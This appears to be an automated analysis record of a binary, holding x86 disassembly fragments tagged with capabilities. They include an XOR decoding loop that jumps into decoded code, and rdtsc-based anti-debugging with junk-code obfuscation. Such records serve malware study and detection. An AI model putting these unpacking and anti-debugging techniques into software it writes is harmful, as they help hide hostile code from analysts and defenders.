add ebx, dword [ebp - 0x4c]
mov edx, 0xce960df1
add edx, 0xf62c6587
sub dword [ebp - 0x48], ecx
mov esi, dword [ebx]
sub dword [ebp - 8], edi
xor esi, edx
mov dword [edi], esi
add edi, 0x71d51235
sub edi, 0x71d51231
add ebx, 4
loop 0x1000d7df
add eax, 0x126a7
mov ebx, eax
add eax, 5
mov ecx, 0xe23aa07a
add ecx, 0x2dc55f86
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x1001bdc
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
call fcn.01001beb
jmp fcn.01001b4b

Function at 0x1008c3c6
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov edx, dword [ebp - 0x20]
pushal
pushfd
xchg dword [ebp - 0x24], edx
push ecx
lea esp, [esp + 0x2c]
jae 0x100d200a
push 0x5bd243c5
setb al
lea eax, [ebx + ecx*4 + 0x390]
push 0xba3fca71
mov word [esp + 4], sp
lea esp, [esp + 8]
call fcn.100dfab4
call fcn.100cee3f
mov dword [ebp - 0x20], edx
rdtsc
rdtsc
jmp 0x100cde40
pushfd
mov edx, dword [esp + 4]
lea esp, [esp + 8]
movsx ax, dl
jmp 0x10098f27